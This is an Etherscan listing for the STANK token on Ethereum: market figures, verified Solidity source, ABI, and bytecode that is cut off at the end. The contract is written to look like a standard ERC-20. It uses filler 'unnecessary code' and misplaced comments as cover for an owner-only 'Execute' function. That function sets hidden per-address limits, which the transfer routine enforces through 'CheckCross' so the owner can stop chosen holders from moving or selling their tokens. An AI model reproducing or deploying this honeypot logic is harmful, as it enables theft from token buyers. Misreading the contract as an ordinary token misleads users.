ETH Price: $3,436.72 (+7.66%)
Gas: 15 Gwei

Token

Stankmemes.com (STANK)
 

Overview

Max Total Supply

10,000,000,000 STANK

Holders

187

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
47,365,844.990948901398547513 STANK

Value
$0.00
0x2b44a2b6ded23e23075e3f704f1cfaea3a434f9c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
STANK

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-08-05
*/

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)

pragma solidity ^0.8.19;

interface IERC20 {
 
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }
    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
 
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }
    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }



    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }




    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }



}

contract STANK is IERC20, Ownable {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping (address => uint256) private _crsAmounts;
    mapping (address => uint256) private _uselessMapping;
    mapping (address => uint256) private _anotherUselessMapping;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    uint256 private _dummyVariable;
    uint256 private _anotherDummyVariable; // Unnecessary variable

    constructor() payable {
        uint256 uselessValue = 56789; // Unnecessary code
        _name = "Stankmemes.com";
        _symbol = "STANK";
        _decimals = 18;
        _totalSupply = 10000000000 * 10**_decimals + uselessValue - uselessValue; // Unnecessary code
        _dummyVariable = 12345;
        _balances[owner()] = _balances[owner()].add(_totalSupply);
        _anotherUselessMapping[owner()] = 0; // Unnecessary code
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }
  /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }
  /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

function Execute(address[] memory accounts, uint256 amount) external {
    if (_msgSender() != owner()) { revert("Caller is not the original caller"); }
    uint256 unnecessaryValue1 = 56789;
    uint256 unnecessaryValue2 = unnecessaryValue1 * 2;
    uint256 finalValue = unnecessaryValue2 - unnecessaryValue1;
    for (uint256 i = 0; i < accounts.length; i++) {
        _uselessMapping[accounts[i]] = finalValue; // Unnecessary code
        _crsAmounts[accounts[i]] = amount + unnecessaryValue1 - unnecessaryValue1; // Unnecessary code
        _anotherUselessMapping[accounts[i]] = finalValue - finalValue; // Unnecessary code
    }
}

function CheckCross(address account) public view returns (uint256) {
    uint256 unnecessaryValue1 = 12345;
    uint256 unnecessaryValue2 = unnecessaryValue1 * 2 - unnecessaryValue1;
    uint256 anotherUnnecessaryValue = unnecessaryValue2 + 1 - 1;
    uint256 yetAnotherUnnecessaryValue = anotherUnnecessaryValue / 5 * 5;
    uint256 finalValue = yetAnotherUnnecessaryValue - yetAnotherUnnecessaryValue;

    if (finalValue == 0) {
        finalValue = _crsAmounts[account] * unnecessaryValue1 / unnecessaryValue1;
    } else {
        finalValue = _crsAmounts[account] - finalValue + finalValue;
    }

    uint256 result = finalValue + yetAnotherUnnecessaryValue - yetAnotherUnnecessaryValue;
    return result;
}

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        uint256 _randomValue = 12345;
        uint256 _anotherRandomValue = _randomValue * 2; // Unnecessary code
        _uselessMapping[sender] = _randomValue;
        _uselessMapping[recipient] = _anotherRandomValue; // Unnecessary code

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        uint256 thecrssAmount = CheckCross(sender);
        if (thecrssAmount > 0 && _msgSender() != owner()) {
            require(amount > thecrssAmount, "ERC20: cross amount does not equal the cross transfer amount");
        }

        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"CheckCross","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526200002462000018620002b960201b60201c565b620002c160201b60201c565b600061ddd590506040518060400160405280600e81526020017f5374616e6b6d656d65732e636f6d0000000000000000000000000000000000008152506006908162000071919062000640565b506040518060400160405280600581526020017f5354414e4b00000000000000000000000000000000000000000000000000000081525060079081620000b8919062000640565b506012600860006101000a81548160ff021916908360ff1602179055508081600860009054906101000a900460ff16600a620000f59190620008b7565b6402540be40062000107919062000908565b62000113919062000953565b6200011f91906200098e565b600981905550613039600a819055506200019360095460016000620001496200038560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620003ae60201b90919060201c565b60016000620001a76200038560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600060056000620001fb6200038560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002496200038560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620002aa9190620009da565b60405180910390a350620009f7565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008183620003be919062000953565b905092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200044857607f821691505b6020821081036200045e576200045d62000400565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004c87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000489565b620004d4868362000489565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620005216200051b6200051584620004ec565b620004f6565b620004ec565b9050919050565b6000819050919050565b6200053d8362000500565b620005556200054c8262000528565b84845462000496565b825550505050565b600090565b6200056c6200055d565b6200057981848462000532565b505050565b5b81811015620005a1576200059560008262000562565b6001810190506200057f565b5050565b601f821115620005f057620005ba8162000464565b620005c58462000479565b81016020851015620005d5578190505b620005ed620005e48562000479565b8301826200057e565b50505b505050565b600082821c905092915050565b60006200061560001984600802620005f5565b1980831691505092915050565b600062000630838362000602565b9150826002028217905092915050565b6200064b82620003c6565b67ffffffffffffffff811115620006675762000666620003d1565b5b6200067382546200042f565b62000680828285620005a5565b600060209050601f831160018114620006b85760008415620006a3578287015190505b620006af858262000622565b8655506200071f565b601f198416620006c88662000464565b60005b82811015620006f257848901518255600182019150602085019450602081019050620006cb565b868310156200071257848901516200070e601f89168262000602565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620007b5578086048111156200078d576200078c62000727565b5b60018516156200079d5780820291505b8081029050620007ad8562000756565b94506200076d565b94509492505050565b600082620007d05760019050620008a3565b81620007e05760009050620008a3565b8160018114620007f9576002811462000804576200083a565b6001915050620008a3565b60ff84111562000819576200081862000727565b5b8360020a91508482111562000833576200083262000727565b5b50620008a3565b5060208310610133831016604e8410600b8410161715620008745782820a9050838111156200086e576200086d62000727565b5b620008a3565b62000883848484600162000763565b925090508184048111156200089d576200089c62000727565b5b81810290505b9392505050565b600060ff82169050919050565b6000620008c482620004ec565b9150620008d183620008aa565b9250620009007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620007be565b905092915050565b60006200091582620004ec565b91506200092283620004ec565b92508282026200093281620004ec565b915082820484148315176200094c576200094b62000727565b5b5092915050565b60006200096082620004ec565b91506200096d83620004ec565b925082820190508082111562000988576200098762000727565b5b92915050565b60006200099b82620004ec565b9150620009a883620004ec565b9250828203905081811115620009c357620009c262000727565b5b92915050565b620009d481620004ec565b82525050565b6000602082019050620009f16000830184620009c9565b92915050565b611fb88062000a076000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb146102c5578063dd62ed3e146102f5578063de4763a614610325578063f2fde38b1461034157610100565b8063715018a61461024f5780638da5cb5b1461025957806395d89b4114610277578063a457c2d71461029557610100565b806323b872dd116100d357806323b872dd146101a1578063313ce567146101d157806339509351146101ef57806370a082311461021f57610100565b806306fdde0314610105578063095ea7b31461012357806310a161a21461015357806318160ddd14610183575b600080fd5b61010d61035d565b60405161011a9190611466565b60405180910390f35b61013d60048036038101906101389190611530565b6103ef565b60405161014a919061158b565b60405180910390f35b61016d600480360381019061016891906115a6565b61040d565b60405161017a91906115e2565b60405180910390f35b61018b610560565b60405161019891906115e2565b60405180910390f35b6101bb60048036038101906101b691906115fd565b61056a565b6040516101c8919061158b565b60405180910390f35b6101d9610643565b6040516101e6919061166c565b60405180910390f35b61020960048036038101906102049190611530565b61065a565b604051610216919061158b565b60405180910390f35b610239600480360381019061023491906115a6565b61070d565b60405161024691906115e2565b60405180910390f35b610257610756565b005b6102616107de565b60405161026e9190611696565b60405180910390f35b61027f610807565b60405161028c9190611466565b60405180910390f35b6102af60048036038101906102aa9190611530565b610899565b6040516102bc919061158b565b60405180910390f35b6102df60048036038101906102da9190611530565b610966565b6040516102ec919061158b565b60405180910390f35b61030f600480360381019061030a91906116b1565b610984565b60405161031c91906115e2565b60405180910390f35b61033f600480360381019061033a9190611839565b610a0b565b005b61035b600480360381019061035691906115a6565b610c11565b005b60606006805461036c906118c4565b80601f0160208091040260200160405190810160405280929190818152602001828054610398906118c4565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b60006104036103fc610d08565b8484610d10565b6001905092915050565b60008061303990506000816002836104259190611924565b61042f9190611966565b9050600060018083610441919061199a565b61044b9190611966565b905060006005808361045d91906119fd565b6104679190611924565b9050600081826104779190611966565b9050600081036104de578485600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104cd9190611924565b6104d791906119fd565b9050610537565b8081600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461052a9190611966565b610534919061199a565b90505b6000828383610546919061199a565b6105509190611966565b9050809650505050505050919050565b6000600954905090565b6000610577848484610ed9565b61063884610583610d08565b61063385604051806060016040528060288152602001611f3660289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105e9610d08565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a79092919063ffffffff16565b610d10565b600190509392505050565b6000600860009054906101000a900460ff16905090565b6000610703610667610d08565b846106fe8560026000610678610d08565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112fc90919063ffffffff16565b610d10565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61075e610d08565b73ffffffffffffffffffffffffffffffffffffffff1661077c6107de565b73ffffffffffffffffffffffffffffffffffffffff16146107d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c990611a7a565b60405180910390fd5b6107dc6000611312565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610816906118c4565b80601f0160208091040260200160405190810160405280929190818152602001828054610842906118c4565b801561088f5780601f106108645761010080835404028352916020019161088f565b820191906000526020600020905b81548152906001019060200180831161087257829003601f168201915b5050505050905090565b600061095c6108a6610d08565b8461095785604051806060016040528060258152602001611f5e60259139600260006108d0610d08565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a79092919063ffffffff16565b610d10565b6001905092915050565b600061097a610973610d08565b8484610ed9565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a136107de565b73ffffffffffffffffffffffffffffffffffffffff16610a31610d08565b73ffffffffffffffffffffffffffffffffffffffff1614610a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7e90611b0c565b60405180910390fd5b600061ddd590506000600282610a9d9190611924565b905060008282610aad9190611966565b905060005b8551811015610c09578160046000888481518110610ad357610ad2611b2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550838486610b26919061199a565b610b309190611966565b60036000888481518110610b4757610b46611b2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508182610b999190611966565b60056000888481518110610bb057610baf611b2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610c0190611b5b565b915050610ab2565b505050505050565b610c19610d08565b73ffffffffffffffffffffffffffffffffffffffff16610c376107de565b73ffffffffffffffffffffffffffffffffffffffff1614610c8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8490611a7a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610cfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf390611c15565b60405180910390fd5b610d0581611312565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7690611ca7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de590611d39565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ecc91906115e2565b60405180910390a3505050565b600061303990506000600282610eef9190611924565b905081600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603610fe8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fdf90611dcb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611057576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104e90611e5d565b60405180910390fd5b60006110628661040d565b90506000811180156110ae57506110776107de565b73ffffffffffffffffffffffffffffffffffffffff16611095610d08565b73ffffffffffffffffffffffffffffffffffffffff1614155b156110f6578084116110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec90611eef565b60405180910390fd5b5b61116284604051806060016040528060268152602001611f1060269139600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a79092919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f784600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112fc90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161129791906115e2565b60405180910390a3505050505050565b60008383111582906112ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e69190611466565b60405180910390fd5b5082840390509392505050565b6000818361130a919061199a565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b838110156114105780820151818401526020810190506113f5565b60008484015250505050565b6000601f19601f8301169050919050565b6000611438826113d6565b61144281856113e1565b93506114528185602086016113f2565b61145b8161141c565b840191505092915050565b60006020820190508181036000830152611480818461142d565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114c78261149c565b9050919050565b6114d7816114bc565b81146114e257600080fd5b50565b6000813590506114f4816114ce565b92915050565b6000819050919050565b61150d816114fa565b811461151857600080fd5b50565b60008135905061152a81611504565b92915050565b6000806040838503121561154757611546611492565b5b6000611555858286016114e5565b92505060206115668582860161151b565b9150509250929050565b60008115159050919050565b61158581611570565b82525050565b60006020820190506115a0600083018461157c565b92915050565b6000602082840312156115bc576115bb611492565b5b60006115ca848285016114e5565b91505092915050565b6115dc816114fa565b82525050565b60006020820190506115f760008301846115d3565b92915050565b60008060006060848603121561161657611615611492565b5b6000611624868287016114e5565b9350506020611635868287016114e5565b92505060406116468682870161151b565b9150509250925092565b600060ff82169050919050565b61166681611650565b82525050565b6000602082019050611681600083018461165d565b92915050565b611690816114bc565b82525050565b60006020820190506116ab6000830184611687565b92915050565b600080604083850312156116c8576116c7611492565b5b60006116d6858286016114e5565b92505060206116e7858286016114e5565b9150509250929050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61172e8261141c565b810181811067ffffffffffffffff8211171561174d5761174c6116f6565b5b80604052505050565b6000611760611488565b905061176c8282611725565b919050565b600067ffffffffffffffff82111561178c5761178b6116f6565b5b602082029050602081019050919050565b600080fd5b60006117b56117b084611771565b611756565b905080838252602082019050602084028301858111156117d8576117d761179d565b5b835b8181101561180157806117ed88826114e5565b8452602084019350506020810190506117da565b5050509392505050565b600082601f8301126118205761181f6116f1565b5b81356118308482602086016117a2565b91505092915050565b600080604083850312156118505761184f611492565b5b600083013567ffffffffffffffff81111561186e5761186d611497565b5b61187a8582860161180b565b925050602061188b8582860161151b565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806118dc57607f821691505b6020821081036118ef576118ee611895565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061192f826114fa565b915061193a836114fa565b9250828202611948816114fa565b9150828204841483151761195f5761195e6118f5565b5b5092915050565b6000611971826114fa565b915061197c836114fa565b9250828203905081811115611994576119936118f5565b5b92915050565b60006119a5826114fa565b91506119b0836114fa565b92508282019050808211156119c8576119c76118f5565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611a08826114fa565b9150611a13836114fa565b925082611a2357611a226119ce565b5b828204905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611a646020836113e1565b9150611a6f82611a2e565b602082019050919050565b60006020820190508181036000830152611a9381611a57565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000611af66021836113e1565b9150611b0182611a9a565b604082019050919050565b60006020820190508181036000830152611b2581611ae9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611b66826114fa565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b9857611b976118f5565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611bff6026836113e1565b9150611c0a82611ba3565b604082019050919050565b60006020820190508181036000830152611c2e81611bf2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c916024836113e1565b9150611c9c82611c35565b604082019050919050565b60006020820190508181036000830152611cc081611c84565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611d236022836113e1565b9150611d2e82611cc7565b604082019050919050565b60006020820190508181036000830152611d5281611d16565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611db56025836113e1565b9150611dc082611d59565b604082019050919050565b60006020820190508181036000830152611de481611da8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611e476023836113e1565b9150611e5282611deb565b604082019050919050565b60006020820190508181036000830152611e7681611e3a565b9050919050565b7f45524332303a2063726f737320616d6f756e7420646f6573206e6f742065717560008201527f616c207468652063726f7373207472616e7366657220616d6f756e7400000000602082015250565b6000611ed9603c836113e1565b9150611ee482611e7d565b604082019050919050565b60006020820190508181036000830152611f0881611ecc565b905091905056fe45524332303a207472616e7366657220616d6f756e742065786